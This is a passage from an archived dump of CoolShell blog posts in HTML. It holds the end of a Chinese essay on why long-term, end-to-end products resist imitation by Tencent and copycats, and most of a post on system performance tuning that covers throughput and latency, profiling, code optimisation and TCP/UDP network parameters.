之流技术大于业务的产品。</p>\n<p>通过这样的分析，我想告诉大家，<strong>腾讯并不可怕，可怕的是你自己不会思考和观察，可怕的是你急功近利而没有去找有价值的东西来做</strong>。推而广之，如果你想做的东西是很快就能做出来的，那么你就不要指望不被人抄，也就是说，<strong><span style=\"color: #cc0000;\">如果你着眼短期，你无疑会面对众多的抄袭和模仿者让你万劫不复，但是，如果你着眼长期，做一个3-5年需要花费大量精力才会成熟的产品，那么，那些急功近利的抄袭者会知难而退的</span></strong>。因为，“需要3-5年的时间”这一条完全不符合抄袭者的价值观，所以，你面对的竞争对手也会少了9成。</p>\n<h4>什么是真正的产品</h4>\n<p>说到这里，我必需要说一下什么是真正的产品！我看到现在很多创业团队把功能当产品来做，这就为模仿者们留下了很多很多机会，比如苹果商店里的很多照片分享的Apps，或是一些云存读，云分享之类的东西，如：Dropbox和Evernote，或是一些旅游类的Apps。这些东西在我眼里还不能算得上是真正的产品，所以，我们可以看到他们的模仿者有很多很多。当然，我并不是说不能把功能当成产品来做，只是我觉得这样的产品并不长久，并不具强大的可持续性，而且很容易被取代。那怕是现在风头正劲的Instgram, Dropbox, Evernote，大家试想一下，如果哪天Apple或是Canon把Instgram这样的功能集成到他的照相功能中，哪天操作系统把Dropbox/Evernote集成到他的操作系统中。（当然，我只是说有这种可能，我只是想让大家思考一下以功能为产品的弱势是什么样的）</p>\n<p>好，让我来说说什么是真正的产品：</p>\n<ul>\n<li><strong>真正的产品应该是有一个端到端的一个解决方案</strong>。比如说：电子阅读中的从购书，到阅读，再到阅读心得分享，再到推荐，这一整套的解决方案。看看苹果的产品的端到端的解决方案，就知道什么是产品的样子了。</li>\n</ul>\n<ul>\n<li><strong>真正的产品应该是有价值的</strong>。这种价值表现在——你可以从中获得有价值的内容，并且你也可以通过他创造对你有价值的东西。比如，像豆瓣，像Stackoverflow，甚至像Twitter和微博这样让信息平等让信息传递更快的社区，或是像AWS或是Apple的开发平台，等等。可见，我们无法通过QQ获得有价值的东西，我们也无法通过QQ创造有价值的东西。</li>\n</ul>\n<ul>\n<li><strong><strong>真正的产品应该是和社会有交互并能自我进化的</strong>。</strong>真正的产品应该是用户会来贡献有价值的内容，真正的产品应该是有开放的接口让其它系统容易集成的。也就是说，真正的产品应该是有一个生态圈的，在这个生态圈内，不但能自给自足，自我循环，还能自我管理，自我进化。可见，腾讯的用户群完全没有为这个平台贡献什么有价值的东西，更不谈他们会帮腾讯来进化了。</li>\n</ul>\n<ul>\n<li><strong>真正的产品应该是体现品质的</strong>。所谓有品质的意思是，你能从使用这个产品中获得一种感觉，一种档次的提升的感觉。你可以认为使用品牌而非山寨的智能手机，使用一些如Thinkpad或MacBook的笔记本电脑或iPad，因为那是一种品质的体现。但是我们都知道，使用QQ完全没有任何品质的感觉，你不会在你的简历中放上QQ号，你也不会在一些商务场合使用QQ的，不是吗？这就好像请客吃饭一样，你总是会请你的朋友去一些有品质的饭馆而不是拉面馆。</li>\n</ul>\n<p>当你把你的产品目标放在这样高的位置上，你不难发现，一来，仿冒者们无法跟上你的跟步，二来，仿冒者们几乎没有办法来复制。因为，他们只能复制到外表，但永远无法复制到产品的精髓。</p>\n<p>还是那句话，<strong>因为仿冒者们急功近利的基因就决定了他们做不到抄袭。因为QQ用户群的基因也决定了腾讯无法复制豆瓣或Stackoverflow</strong>。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5901.html\"><img alt=\"腾讯，竞争力 和 用户体验\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5901.html\">腾讯，竞争力 和 用户体验</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5987.html\"><img alt=\"如何设计“找回用户帐号”功能\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/12.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5987.html\">如何设计“找回用户帐号”功能</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5966.html\"><img alt=\"腾讯帐号申诉的用户体验\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/16.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5966.html\">腾讯帐号申诉的用户体验</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11112.html\"><img alt=\"由苹果的低级Bug想到的\" height=\"150\" src=\"../wp-content/uploads/2014/02/apple_goto_fail-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11112.html\">由苹果的低级Bug想到的</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7186.html\"><img alt=\"做个环保主义的程序员\" height=\"150\" src=\"../wp-content/uploads/2012/04/Green-Computing-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7186.html\">做个环保主义的程序员</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6775.html\"><img alt=\"Bret Victor – Inventing on Principle\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6775.html\">Bret Victor – Inventing on Principle</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/7617.html\">抄袭，腾讯 和 产品</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2012-6-20 性能调优攻略.html",
    "content": "<html><body><p><img alt=\"\" class=\"alignright size-medium wp-image-7641\" height=\"216\" src=\"../wp-content/uploads/2012/06/f1-300x216.jpg\" title=\"Performance Tuning\" width=\"300\"/>关于性能优化这是一个比较大的话题，在《<a href=\"https://coolshell.cn/articles/6470.html\" target=\"_blank\" title=\"由12306.cn谈谈网站性能技术\">由12306.cn谈谈网站性能技术</a>》中我从业务和设计上说过一些可用的技术以及那些技术的优缺点，今天，想从一些技术细节上谈谈性能优化，主要是一些代码级别的技术和方法。<strong>本文的东西是我的一些经验和知识，并不一定全对，希望大家指正和补充</strong>。</p>\n<p>在开始这篇文章之前，大家可以移步去看一下酷壳以前发表的《<a href=\"https://coolshell.cn/articles/2967.html\" target=\"_blank\" title=\"代码优化概要\">代码优化概要</a>》，这篇文章基本上告诉你——<strong>要进行优化，先得找到性能瓶颈</strong>！ 但是在讲如何定位系统性能瓶劲之前，请让我讲一下系统性能的定义和测试，因为没有这两件事，后面的定位和优化无从谈起。</p>\n<h4>一、系统性能定义</h4>\n<p>让我们先来说说如何什么是系统性能。这个定义非常关键，如果我们不清楚什么是系统性能，那么我们将无法定位之。我见过很多朋友会觉得这很容易，但是仔细一问，其实他们并没有一个比较系统的方法，所以，在这里我想告诉大家如何系统地来定位性能。 总体来说，系统性能就是两个事：</p>\n<ol>\n<li><strong>Throughput</strong> ，吞吐量。也就是每秒钟可以处理的请求数，任务数。</li>\n<li><strong>Latency</strong>， 系统延迟。也就是系统在处理一个请求或一个任务时的延迟。</li>\n</ol>\n<p>一般来说，一个系统的性能受到这两个条件的约束，缺一不可。比如，我的系统可以顶得住一百万的并发，但是系统的延迟是2分钟以上，那么，这个一百万的负载毫无意义。系统延迟很短，但是吞吐量很低，同样没有意义。所以，一个好的系统的性能测试必然受到这两个条件的同时作用。 有经验的朋友一定知道，这两个东西的一些关系：</p>\n<ul>\n<li><strong>Throughput越大，Latency会越差。</strong>因为请求量过大，系统太繁忙，所以响应速度自然会低。</li>\n<li><strong>Latency越好，能支持的Throughput就会越高。</strong>因为Latency短说明处理速度快，于是就可以处理更多的请求。</li>\n</ul>\n<h4>二、系统性能测试</h4>\n<p>经过上述的说明，我们知道要测试系统的性能，需要我们收集系统的Throughput和Latency这两个值。</p>\n<p><span id=\"more-7490\"></span></p>\n<ul>\n<li>首先，<strong>需要定义Latency这个值</strong>，比如说，对于网站系统响应时间必需是5秒以内（对于某些实时系统可能需要定义的更短，比如5ms以内，这个更根据不同的业务来定义）</li>\n</ul>\n<ul>\n<li>其次，<strong>开发性能测试工具</strong>，一个工具用来制造高强度的Throughput，另一个工具用来测量Latency。对于第一个工具，你可以参考一下“<a href=\"https://coolshell.cn/articles/2589.html\" target=\"_blank\" title=\"十个免费的Web压力测试工具\">十个免费的Web压力测试工具</a>”，关于如何测量Latency，你可以在代码中测量，但是这样会影响程序的执行，而且只能测试到程序内部的Latency，真正的Latency是整个系统都算上，包括操作系统和网络的延时，你可以使用Wireshark来抓网络包来测量。这两个工具具体怎么做，这个还请大家自己思考去了。</li>\n</ul>\n<ul>\n<li>最后，<strong>开始性能测试</strong>。你需要不断地提升测试的Throughput，然后观察系统的负载情况，如果系统顶得住，那就观察Latency的值。这样，你就可以找到系统的最大负载，并且你可以知道系统的响应延时是多少。</li>\n</ul>\n<p>再多说一些，</p>\n<ul>\n<li>关于Latency，如果吞吐量很少，这个值估计会非常稳定，当吞吐量越来越大时，系统的Latency会出现非常剧烈的抖动，所以，我们在测量Latency的时候，我们需要注意到Latency的分布，也就是说，有百分之几的在我们允许的范围，有百分之几的超出了，有百分之几的完全不可接受。也许，平均下来的Latency达标了，但是其中仅有50%的达到了我们可接受的范围。那也没有意义。</li>\n</ul>\n<ul>\n<li>关于性能测试，我们还需要定义一个时间段。比如：在某个吞吐量上持续15分钟。因为当负载到达的时候，系统会变得不稳定，当过了一两分钟后，系统才会稳定。另外，也有可能是，你的系统在这个负载下前几分钟还表现正常，然后就不稳定了，甚至垮了。所以，需要这么一段时间。这个值，我们叫做峰值极限。</li>\n</ul>\n<ul>\n<li>性能测试还需要做Soak Test，也就是在某个吞吐量下，系统可以持续跑一周甚至更长。这个值，我们叫做系统的正常运行的负载极限。</li>\n</ul>\n<p>性能测试有很多很复要的东西，比如：burst test等。 这里不能一一详述，这里只说了一些和性能调优相关的东西。总之，性能测试是一细活和累活。</p>\n<h4>三、定位性能瓶颈</h4>\n<p><img alt=\"\" class=\"alignright size-full wp-image-7640\" height=\"200\" src=\"../wp-content/uploads/2012/06/bottleneck.jpg\" title=\"bottleneck\" width=\"200\"/>有了上面的铺垫，我们就可以测试到到系统的性能了，再调优之前，我们先来说说如何找到性能的瓶颈。我见过很多朋友会觉得这很容易，但是仔细一问，其实他们并没有一个比较系统的方法。</p>\n<h5>3.1）查看操作系统负载</h5>\n<p>首先，当我们系统有问题的时候，我们不要急于去调查我们代码，这个毫无意义。我们首要需要看的是操作系统的报告。看看操作系统的CPU利用率，看看内存使用率，看看操作系统的IO，还有网络的IO，网络链接数，等等。Windows下的perfmon是一个很不错的工具，Linux下也有很多相关的命令和工具，比如：<a href=\"http://sourceware.org/systemtap/\" target=\"_blank\">SystemTap</a>，<a href=\"https://latencytop.org/\" target=\"_blank\">LatencyTOP</a>，vmstat, sar, iostat, top, tcpdump等等 。通过观察这些数据，我们就可以知道我们的软件的性能基本上出在哪里。比如：</p>\n<p>1）先看CPU利用率，如果CPU利用率不高，但是系统的Throughput和Latency上不去了，这说明我们的程序并没有忙于计算，而是忙于别的一些事，比如IO。（另外，CPU的利用率还要看内核态的和用户态的，内核态的一上去了，整个系统的性能就下来了。而对于多核CPU来说，CPU 0 是相当关键的，如果CPU 0的负载高，那么会影响其它核的性能，因为CPU各核间是需要有调度的，这靠CPU0完成）</p>\n<p>2）然后，我们可以看一下IO大不大，IO和CPU一般是反着来的，CPU利用率高则IO不大，IO大则CPU就小。关于IO，我们要看三个事，一个是磁盘文件IO，一个是驱动程序的IO（如：网卡），一个是内存换页率。这三个事都会影响系统性能。</p>\n<p>3）然后，查看一下网络带宽使用情况，在Linux下，你可以使用iftop, iptraf, ntop, tcpdump这些命令来查看。或是用Wireshark来查看。</p>\n<p>4）如果CPU不高，IO不高，内存使用不高，网络带宽使用不高。但是系统的性能上不去。这说明你的程序有问题，比如，你的程序被阻塞了。可能是因为等那个锁，可能是因为等某个资源，或者是在切换上下文。</p>\n<p><strong>通过了解操作系统的性能，我们才知道性能的问题，比如：带宽不够，内存不够，TCP缓冲区不够，等等，很多时候，不需要调整程序的，只需要调整一下硬件或操作系统的配置就可以了</strong>。</p>\n<h5>3.2）使用Profiler测试</h5>\n<p>接下来，我们需要使用性能检测工具，也就是使用某个Profiler来差看一下我们程序的运行性能。如：Java的JProfiler/TPTP/CodePro Profiler，GNU的gprof，IBM的PurifyPlus，Intel的VTune，AMD的CodeAnalyst，还有Linux下的OProfile/perf，后面两个可以让你对你的代码优化到CPU的微指令级别，如果你关心CPU的L1/L2的缓存调优，那么你需要考虑一下使用VTune。 使用这些Profiler工具，可以让你程序中各个模块函数甚至指令的很多东西，如：<strong>运行的时间</strong> ，<strong>调用的次数</strong>，<strong>CPU的利用率</strong>，等等。这些东西对我们来说非常有用。</p>\n<p>我们重点观察运行时间最多，调用次数最多的那些函数和指令。这里注意一下，对于调用次数多但是时间很短的函数，你可能只需要轻微优化一下，你的性能就上去了（比如：某函数一秒种被调用100万次，你想想如果你让这个函数提高0.01毫秒的时间 ，这会给你带来多大的性能）</p>\n<p>使用Profiler有个问题我们需要注意一下，因为Profiler会让你的程序运行的性能变低，像PurifyPlus这样的工具会在你的代码中插入很多代码，会导致你的程序运行效率变低，从而没发测试出在高吞吐量下的系统的性能，对此，一般有两个方法来定位系统瓶颈：</p>\n<p>1）在你的代码中自己做统计，使用微秒级的计时器和函数调用计算器，每隔10秒把统计log到文件中。</p>\n<p>2）分段注释你的代码块，让一些函数空转，做Hard Code的Mock，然后再测试一下系统的Throughput和Latency是否有质的变化，如果有，那么被注释的函数就是性能瓶颈，再在这个函数体内注释代码，直到找到最耗性能的语句。</p>\n<p>最后再说一点，<strong>对于性能测试，不同的Throughput会出现不同的测试结果，不同的测试数据也会有不同的测试结果。所以，用于性能测试的数据非常重要，性能测试中，我们需要观测试不同Throughput的结果</strong>。</p>\n<h4>四、常见的系统瓶颈</h4>\n<p>下面这些东西是我所经历过的一些问题，也许并不全，也许并不对，大家可以补充指正，我<strong>纯属抛砖引玉</strong>。关于系统架构方面的性能调优，大家可移步看一下《<a href=\"https://coolshell.cn/articles/6470.html\" target=\"_blank\" title=\"由12306.cn谈谈网站性能技术\">由12306.cn谈谈网站性能技术</a>》，关于Web方面的一些性能调优的东西，大家可以看看《<a href=\"https://coolshell.cn/articles/6043.html\" target=\"_blank\" title=\"Web开发中需要了解的东西\">Web开发中需要了解的东西</a>》一文中的性能一章。我在这里就不再说设计和架构上的东西了。</p>\n<p><strong></strong>一般来说，性能优化也就是下面的几个策略：</p>\n<ul>\n<li><strong>用空间换时间</strong>。各种cache如CPU L1/L2/RAM到硬盘，都是用空间来换时间的策略。这样策略基本上是把计算的过程一步一步的保存或缓存下来，这样就不用每次用的时候都要再计算一遍，比如数据缓冲，CDN，等。这样的策略还表现为冗余数据，比如数据镜象，负载均衡什么的。</li>\n</ul>\n<ul>\n<li><strong>用时间换空间</strong>。有时候，少量的空间可能性能会更好，比如网络传输，如果有一些压缩数据的算法（如前些天说的“<a href=\"https://coolshell.cn/articles/7459.html\" title=\"Huffman 编码压缩算法\">Huffman 编码压缩算法</a>” 和 “<a href=\"https://coolshell.cn/articles/7425.html\" title=\"rsync 的核心算法\">rsync 的核心算法</a>”），这样的算法其实很耗时，但是因为瓶颈在网络传输，所以用时间来换空间反而能省时间。</li>\n</ul>\n<ul>\n<li><strong>简化代码</strong>。最高效的程序就是不执行任何代码的程序，所以，代码越少性能就越高。关于代码级优化的技术大学里的教科书有很多示例了。如：减少循环的层数，减少递归，在循环中少声明变量，少做分配和释放内存的操作，尽量把循环体内的表达式抽到循环外，条件表达的中的多个条件判断的次序，尽量在程序启动时把一些东西准备好，注意函数调用的开销（栈上开销），注意面向对象语言中临时对象的开销，小心使用异常（不要用异常来检查一些可接受可忽略并经常发生的错误），…… 等等，等等，这连东西需要我们非常了解编程语言和常用的库。</li>\n</ul>\n<ul>\n<li><strong>并行处理</strong>。如果CPU只有一个核，你要玩多进程，多线程，对于计算密集型的软件会反而更慢（因为操作系统调度和切换开销很大），CPU的核多了才能真正体现出多进程多线程的优势。并行处理需要我们的程序有Scalability，不能水平或垂直扩展的程序无法进行并行处理。从架构上来说，这表再为——是否可以做到不改代码只是加加机器就可以完成性能提升？</li>\n</ul>\n<p>总之，<strong>根据2：8原则来说，20%的代码耗了你80%的性能，找到那20%的代码，你就可以优化那80%的性能</strong>。 下面的一些东西都是我的一些经验，我只例举了一些最有价值的性能调优的的方法，供你参考，也欢迎补充。</p>\n<p><strong>4.1）算法调优</strong>。算法非常重要，好的算法会有更好的性能。举几个我经历过的项目的例子，大家可以感觉一下。</p>\n<ul>\n<li>一个是<strong>过滤算法</strong>，系统需要对收到的请求做过滤，我们把可以被filter in/out的东西配置在了一个文件中，原有的过滤算法是遍历过滤配置，后来，我们找到了一种方法可以对这个过滤配置进行排序，这样就可以用二分折半的方法来过滤，系统性能增加了50%。</li>\n</ul>\n<ul>\n<li>一个是<strong>哈希算法</strong>。计算哈希算法的函数并不高效，一方面是计算太费时，另一方面是碰撞太高，碰撞高了就跟单向链表一个性能（可参看<a href=\"https://coolshell.cn/articles/6424.html\" title=\"Hash Collision DoS 问题\">Hash Collision DoS 问题</a>）。我们知道，算法都是和需要处理的数据很有关系的，就算是被大家所嘲笑的“冒泡排序”在某些情况下（大多数数据是排好序的）其效率会高于所有的排序算法。哈希算法也一样，广为人知的哈希算法都是用英文字典做测试，但是我们的业务在数据有其特殊性，所以，对于还需要根据自己的数据来挑选适合的哈希算法。对于我以前的一个项目，公司内某牛人给我发来了一个哈希算法，结果让我们的系统性能上升了150%。（关于各种哈希算法，你一定要看看<a href=\"http://programmers.stackexchange.com/questions/49550/which-hashing-algorithm-is-best-for-uniqueness-and-speed/145633#145633\" target=\"_blank\">StackExchange上的这篇关于各种hash算法的文章</a> ）</li>\n</ul>\n<ul>\n<li><strong>分而治之和预处理</strong>。以前有一个程序为了生成月报表，每次都需要计算很长的时间，有时候需要花将近一整天的时间。于是我们把我们找到了一种方法可以把这个算法发成增量式的，也就是说我每天都把当天的数据计算好了后和前一天的报表合并，这样可以大大的节省计算时间，每天的数据计算量只需要20分钟，但是如果我要算整个月的，系统则需要10个小时以上（SQL语句在大数据量面前性能成级数性下降）。这种分而治之的思路在大数据面前对性能有很帮助，就像merge排序一样。SQL语句和数据库的性能优化也是这一策略，如：使用嵌套式的Select而不是笛卡尔积的Select，使用视图，等等。</li>\n</ul>\n<p><strong>4.2）代码调优</strong>。从我的经验上来说，代码上的调优有下面这几点：</p>\n<ul>\n<li><strong>字符串操作</strong>。这是最费系统性能的事了，无论是strcpy, strcat还是strlen，最需要注意的是字符串子串匹配。所以，能用整型最好用整型。举几个例子，第一个例子是N年前做银行的时候，我的同事喜欢把日期存成字符串（如：2012-05-29 08:30:02），我勒个去，一个select  where between语句相当耗时。另一个例子是，我以前有个同事把一些状态码用字符串来处理，他的理由是，这样可以在界面上直接显示，后来性能调优的时候，我把这些状态码全改成整型，然后用位操作查状态，因为有一个每秒钟被调用了150K次的函数里面有三处需要检查状态，经过改善以后，整个系统的性能上升了30%左右。还有一个例子是，我以前从事的某个产品编程规范中有一条是要在每个函数中把函数名定义出来，如：const char fname[]=”functionName()”, 这是为了好打日志，但是为什么不声明成 static类型的呢？</li>\n</ul>\n<ul>\n<li><strong>多线程调优</strong>。有人说，thread is evil，这个对于系统性能在某些时候是个问题。因为多线程瓶颈就在于互斥和同步的锁上，以及线程上下文切换的成本，怎么样的少用锁或不用锁是根本（比如：<a href=\"https://coolshell.cn/articles/6790.html\" title=\"多版本并发控制(MVCC)在分布式系统中的应用\">多版本并发控制(MVCC)在分布式系统中的应用</a> 中说的乐观锁可以解决性能问题），此外，还有读写锁也可以解决大多数是读操作的并发的性能问题。这里多说一点在C++中，我们可能会使用线程安全的智能指针AutoPtr或是别的一些容器，只要是线程安全的，其不管三七二十一都要上锁，上锁是个成本很高的操作，使用AutoPtr会让我们的系统性能下降得很快，如果你可以保证不会有线程并发问题，那么你应该不要用AutoPtr。我记得我上次我们同事去掉智能指针的引用计数，让系统性能提升了50%以上。对于Java对象的引用计数，如果我猜的没错的话，到处都是锁，所以，Java的性能问题一直是个问题。另外，线程不是越多越好，线程间的调度和上下文切换也是很夸张的事，尽可能的在一个线程里干，尽可能的不要同步线程。这会让你有很多的性能。</li>\n</ul>\n<ul>\n<li><strong>内存分配</strong>。不要小看程序的内存分配。malloc/realloc/calloc这样的系统调非常耗时，尤其是当内存出现碎片的时候。我以前的公司出过这样一个问题——在用户的站点上，我们的程序有一天不响应了，用GDB跟进去一看，系统hang在了malloc操作上，20秒都没有返回，重启一些系统就好了。这就是内存碎片的问题。这就是为什么很多人抱怨STL有严重的内存碎片的问题，因为太多的小内存的分配释放了。有很多人会以为用内存池可以解决这个问题，但是实际上他们只是重新发明了Runtime-C或操作系统的内存管理机制，完全于事无补。当然解决内存碎片的问题还是通过内存池，具体来说是一系列不同尺寸的内存池（这个留给大家自己去思考）。当然，少进行动态内存分配是最好的。说到内存池就需要说一下池化技术。比如线程池，连接池等。池化技术对于一些短作业来说（如http服务） 相当相当的有效。这项技术可以减少链接建立，线程创建的开销，从而提高性能。</li>\n</ul>\n<ul>\n<li><strong>异步操作</strong>。我们知道Unix下的文件操作是有block和non-block的方式的，像有些系统调用也是block式的，如：Socket下的select，Windows下的WaitforObject之类的，如果我们的程序是同步操作，那么会非常影响性能，我们可以改成异步的，但是改成异步的方式会让你的程序变复杂。异步方式一般要通过队列，要注间队列的性能问题，另外，异步下的状态通知通常是个问题，比如消息事件通知方式，有callback方式，等，这些方式同样可能会影响你的性能。但是通常来说，异步操作会让性能的吞吐率有很大提升（Throughput），但是会牺牲系统的响应时间（latency）。这需要业务上支持。</li>\n</ul>\n<ul>\n<li><strong>语言和代码库</strong>。我们要熟悉语言以及所使用的函数库或类库的性能。比如：STL中的很多容器分配了内存后，那怕你删除元素，内存也不会回收，其会造成内存泄露的假像，并可能造成内存碎片问题。再如，STL某些容器的size()==0  和 empty()是不一样的，因为，size()是O(n)复杂度，empty()是O(1)的复杂度，这个要小心。Java中的JVM调优需要使用的这些参数：-Xms -Xmx -Xmn -XX:SurvivorRatio -XX:MaxTenuringThreshold，还需要注意JVM的GC，GC的霸气大家都知道，尤其是full GC（还整理内存碎片），他就像“恐龙特级克赛号”一样，他运行的时候，整个世界的时间都停止了。</li>\n</ul>\n<p><strong>4.3）网络调优</strong></p>\n<p>关于网络调优，尤其是TCP Tuning（你可以以这两个关键词在网上找到很多文章），这里面有很多很多东西可以说。看看Linux下TCP/IP的那么多参数就知道了（顺便说一下，你也许不喜欢Linux，但是你不能否认Linux给我们了很多可以进行内核调优的权力）。强烈建议大家看看《<a href=\"http://book.douban.com/subject/1088054/\" target=\"_blank\">TCP/IP 详解 卷1:协议</a>》这本书。我在这里只讲一些概念上的东西。</p>\n<p><strong>A） TCP调优</strong></p>\n<p>我们知道TCP链接是有很多开销的，一个是会占用文件描述符，另一个是会开缓存，一般来说一个系统可以支持的TCP链接数是有限的，我们需要清楚地认识到TCP链接对系统的开销是很大的。正是因为TCP是耗资源的，所以，很多攻击都是让你系统上出现大量的TCP链接，把你的系统资源耗尽。比如著名的SYNC Flood攻击。</p>\n<p>所以，我们要注意配置KeepAlive参数，这个参数的意思是定义一个时间，如果链接上没有数据传输，系统会在这个时间发一个包，如果没有收到回应，那么TCP就认为链接断了，然后就会把链接关闭，这样可以回收系统资源开销。（注：HTTP层上也有KeepAlive参数）对于像HTTP这样的短链接，设置一个1-2分钟的keepalive非常重要。这可以在一定程度上防止DoS攻击。有下面几个参数（下面这些参数的值仅供参考）：</p>\n<pre class=\"EnlighterJSRAW\">net.ipv4.tcp_keepalive_probes = 5\nnet.ipv4.tcp_keepalive_intvl = 20\nnet.ipv4.tcp_fin_timeout = 30</pre>\n<p>对于TCP的TIME_WAIT这个状态，主动关闭的一方进入TIME_WAIT状态，TIME_WAIT状态将持续2个MSL(Max Segment Lifetime)，默认为4分钟，TIME_WAIT状态下的资源不能回收。有大量的TIME_WAIT链接的情况一般是在HTTP服务器上。对此，有两个参数需要注意，</p>\n<pre class=\"EnlighterJSRAW\">net.ipv4.tcp_tw_reuse=1\nnet.ipv4.tcp_tw_recycle=1</pre>\n<p>前者表示重用TIME_WAIT，后者表示回收TIME_WAIT的资源。</p>\n<p>TCP还有一个重要的概念叫RWIN（TCP Receive Window Size），这个东西的意思是，我一个TCP链接在没有向Sender发出ack时可以接收到的最大的数据包。为什么这个很重要？因为如果Sender没有收到Receiver发过来ack，Sender就会停止发送数据并会等一段时间，如果超时，那么就会重传。这就是为什么TCP链接是可靠链接的原因。重传还不是最严重的，如果有丢包发生的话，TCP的带宽使用率会马上受到影响（会盲目减半），再丢包，再减半，然后如果不丢包了，就逐步恢复。相关参数如下：</p>\n<pre class=\"EnlighterJSRAW\">net.core.wmem_default = 8388608\nnet.core.rmem_default = 8388608\nnet.core.rmem_max = 16777216\nnet.core.wmem_max = 16777216</pre>\n<p>一般来说，理论上的RWIN应该设置成：吞吐量  * 回路时间。Sender端的buffer应该和RWIN有一样的大小，因为Sender端发送完数据后要等Receiver端确认，如果网络延时很大，buffer过小了，确认的次数就会多，于是性能就不高，对网络的利用率也就不高了。也就是说，对于延迟大的网络，我们需要大的buffer，这样可以少一点ack，多一些数据，对于响应快一点的网络，可以少一些buffer。因为，如果有丢包（没有收到ack），buffer过大可能会有问题，因为这会让TCP重传所有的数据，反而影响网络性能。（当然，网络差的情况下，就别玩什么高性能了） 所以，高性能的网络重要的是要让网络丢包率非常非常地小（基本上是用在LAN里），如果网络基本是可信的，这样用大一点的buffer会有更好的网络传输性能（来来回回太多太影响性能了）。</p>\n<p>另外，我们想一想，如果网络质量非常好，基本不丢包，而业务上我们不怕偶尔丢几个包，如果是这样的话，那么，我们为什么不用速度更快的UDP呢？你想过这个问题了吗？</p>\n<p><strong>B）UDP调优</strong></p>\n<p>说到UDP的调优，有一些事我想重点说一样，那就是MTU——最大传输单元（其实这对TCP也一样，因为这是链路层上的东西）。所谓最大传输单元，你可以想像成是公路上的公交车，假设一个公交车可以最多坐70人，带宽就像是公路的车道数一样，如果一条路上最多可以容下100辆公交车，那意味着我最多可以运送7000人，但是如果公交车坐不满，比如平均每辆车只有20人，那么我只运送了2000人，于是我公路资源（带宽资源）就被浪费了。 所以，我们对于一个UDP的包，我们要尽量地让他大到MTU的最大尺寸再往网络上传，这样可以最大化带宽利用率。对于这个MTU，以太网是1500字节，光纤是4352字节，802.11无线网是7981。但是，当我们用TCP/UDP发包的时候，我们的有效负载Payload要低于这个值，因为IP协议会加上20个字节，UDP会加上8个字节（TCP加的更多），所以，一般来说，你的一个UDP包的最大应该是1500-8-20=1472，这是你的数据的大小。当然，如果你用光纤的话， 这个值就可以更大一些。（顺便说一下，对于某些NB的千光以态网网卡来说，在网卡上，网卡硬件如果发现你的包的大小超过了MTU，其会帮你做fragment，到了目标端又会帮你做重组，这就不需要你在程序中处理了）</p>\n<p>再多说一下，使用Socket编程的时候，你可以使用setsockopt() 设置 SO_SNDBUF/SO_RCVBUF 的大小，TTL和KeepAlive这些关键的设置，当然，还有很多，具体你可以查看一下Socket的手册。</p>\n<p>最后说一点，UDP还有一个最大的好处是multi-cast多播，这个技术对于你需要在内网里通知多台结点时非常方便和高效。而且，多播这种技术对于机会的水平扩展（需要增加机器来侦听多播信息）也很有利。</p>\n<p><strong>C）网卡调优</strong></p>\n<p><strong></strong>对于网卡，我们也是可以调优的，这对于千兆以及网网卡非常必要，在Linux下，我们可以用ifconfig查看网上的统计信息，如果我们看到overrun上有数据，我们就可能需要调整一下txqueuelen的尺寸（一般默认为1000），我们可以调大一些，如：ifconfig eth0 txqueuelen 5000。Linux下还有一个命令叫：ethtool可以用于设置网卡的缓冲区大小。在Windows下，我们可以在网卡适配器中的高级选项卡中调整相关的参数（如：Receive Buffers, Transmit Buffer等，不同的网卡有不同的参数）。把Buffer调大对于需要大数据量的网络传输非常有效。</p>\n<p><strong>D）其它网络性能</strong></p>\n<p>关于多路复用技术，也就是用一个线程来管理所有的TCP链接，有三个系统调用要重点注意：一个是select，这个系统调用只支持上限1024个链接，第二个是poll，其可以突破1024的限制，但是select和poll本质上是使用的轮询机制，轮询机制在链接多的时候性能很差，因主是O(n)的算法，所以，epoll出现了，epoll是操作系统内核支持的，仅当在链接活跃时，操作系统才会callback，这是由操作系统通知触发的，但其只有Linux Kernel 